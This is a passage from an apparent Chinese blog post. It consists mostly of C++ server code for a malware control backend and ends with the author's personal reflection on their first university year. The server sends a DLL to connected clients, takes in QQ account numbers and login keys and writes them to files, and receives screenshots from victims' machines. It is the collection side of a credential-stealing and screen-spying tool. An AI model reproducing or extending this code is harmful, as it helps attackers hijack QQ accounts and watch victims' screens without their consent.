		cout << "* accept成功" << endl;
		//创建线程
		pthread_t tid;
		if (int ret = pthread_create(&tid, NULL, thread_main, (void*)&clt_sock) != 0)
		{
			cout << "* 线程创建出错" << errno << endl;
			continue;
		}
		tids.insert(make_pair(clt_sock, tid));
		cout << clt_sock << ":" << tid << endl;
		cout << "* 线程创建成功!,保持监听状态..." << endl;
	}

	cout << "* accept失败,程序退出" << endl;
	close(sever_sock);
	return 0;
}
int SendDll(int clt_sock)
{
	int n = 0;
	fstream dll_(key_path, ios::binary | ios::in);
	// 初始化发送缓冲区
	char dll_buf[1024] = "\x00";
	memset(dll_buf, 0, 1024);
	// 发送内容
	int len;
	while (dll_.read(dll_buf, 1024))
	{
		len = send(clt_sock, dll_buf, 1024, 0);
		cout << "处理" << ++n << "次" << ";长度为:" << len << endl;
		memset(dll_buf, 0, 1024);
	}
	/*
	 *  客户端接收结束后,
	 *  不会主动停止recv,
	 *	此时需要发送一个命令,
	 *  告诉客户端已经停止发送了。
	 */
	char over_flag[1024] = "\xde\xad\xbe\xff";
	send(clt_sock, &over_flag, 1024, 0);
	cout << "处理完成" << endl;
	return 0;
}
int GetQQ(int clt_sock)
{
	//初始化
	int n = 0;
	char buf[1024] = "";
	QQ qq;
	//接收数量
	recv(clt_sock, buf, 1, 0);
	n = buf[0] - '0';
	//接收数据
	for (int i = 1; i <= n; i++)
	{
		cout << "* 处理" << i << "次;";
		memset(buf, 0, sizeof(buf));
		memset(&qq, 0, sizeof(QQ));

		int len = recv(clt_sock, buf, sizeof(QQ), 0);
		cout << "长度为:" << len << endl;
		memcpy(&qq, buf, sizeof(QQ));
		//若此QQ未存在过,创建文件夹
		string path1 = qq_path;
		path1 += qq.qqUin;
		if (access(path1.c_str(), 0) == -1)
		{
			mkdir(path1.c_str(), S_IRWXG|S_IRWXO|S_IRWXU);
		}
		string path = qq_path;
		path += qq.qqUin;
		path += ".html";
		cout << path << endl;
		fstream keys(path, ios::binary | ios::out);
		string data = qq.qqUin;
		data += "\n"; data += qq.qqKey;
		cout << "存入data:" << data;
		keys << data;
		keys.close();
	}
	return 0;
}
int GetScreenshot(int clt_sock)
{
	char buf[1024] = "\x00";
	memset(buf, 0, 1024);
	time_t tim;
	int utime = (int)time(&tim);
	string path = qq_path + (char)utime + ".png";
	fstream bmp_(path, ios::binary | ios::out);

	int len = 0;
	while (0 < (len = recv(clt_sock, buf, 1024, 0)) && len <= 1024)
	{
		if (buf[0] == '\xde' && buf[1] == '\xad' && buf[2] == '\xbe' && buf[3] == '\xff')
		{
			cout << "接收到结束符!" << endl;
			break;
		}
		bmp_.write(buf, 1024);
		memset(buf, 0, 1024);
		sleep(1);
	}
	cout << "* 图片接收完成" << endl;
	bmp_.close();
	return 0;
}
void* thread_monitor(void* arg)
{
	while (1)
	{
		time_t ntm;
		time(&ntm);
		for (map<int, time_t>::iterator it = lstUpdata.begin(); it != lstUpdata.end(); it++)
		{
			if (difftime(ntm, (*it).second) >= 900 &&(*it).second != 0)	//第二个条件防止某线程刚被创建就被删除
			{
				close((*it).first);					//关闭socket
				pthread_cancel(tids[(*it).first]);	//结束线程
				lstUpdata.erase((*it).first);		//从map中删除
				tids.erase((*it).first);
			}
		}
		sleep(1);
	}
	return 0;
}
void* thread_main(void* arg)
{
	int clt_sock = *(int*)arg;
	sleep(10);
	cout << "* 进入线程:" << tids[clt_sock] << endl;
	time_t tim;
 	int res = 0;
	while (1)
	{
		char cmd = '0';
		//等待命令传入
		res = recv(clt_sock, &cmd, 1, 0);
		//收到指令则更新时间
		time(&tim);
		if (lstUpdata.count(clt_sock) == 0)
		{
			lstUpdata.insert(make_pair(clt_sock,tim));
		}
		else
		{
			lstUpdata[clt_sock] = tim;
		}

		cout << tids[clt_sock] << ":" << "指令:" << cmd << endl;
		switch (cmd)
		{
		case _CMD_EXIT_:
			//指令0,退出循环。
			tids.erase(clt_sock);
			lstUpdata.erase(clt_sock);
			close(clt_sock);
			clt_sock = 0;
			cout << tids[clt_sock] << ":" << "退出;" << endl;
			return 0;
		case _CMD_GET_DLL_:
			SendDll(clt_sock);
			break;
		case _CMD_RECV_QQ_:
			GetQQ(clt_sock);
			break;
		case _CMD_RECV_SCREENSHOT_:
			GetScreenshot(clt_sock);
			break;
		default:
			//非法参数,退出循环。
			tids.erase(clt_sock);
			lstUpdata.erase(clt_sock);
			close(clt_sock);
			clt_sock = 0;
			cout << tids[clt_sock] << ":" << "退出;" << endl;
			return 0;

		}
	}
	return 0;
}

后:

        谨以此项目,来纪念我碌碌无为的大一吧,忙碌了一年,到头来也只剩下这个。虽然没能进一个我所理想的大学,但是这所大学里所拥有的,确实同级别大学所没能拥有的,赏识我的老师,不输其他同级别学校的师资,丰富的活动,这些都是我意料之外的。我感觉我虽有点不幸,但也拥有者他人不曾有的幸运,来到了这里,我有充足的时间研究我喜欢的事物。但可惜,一直没能做出个什么成果。我曾想着凭借一场比赛来给我自己的大一画上一个圆满的句号,但该死的疫情阻拦了我的脚步,至今我仍在遗憾那场比赛里没交上的那道题,如果交上了,我的大一至少也能有个纪念了,纪念我并不是什么都没做过,我努力过了,这是我的荣誉,是我的勋章,是我的证明。但很可惜。

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值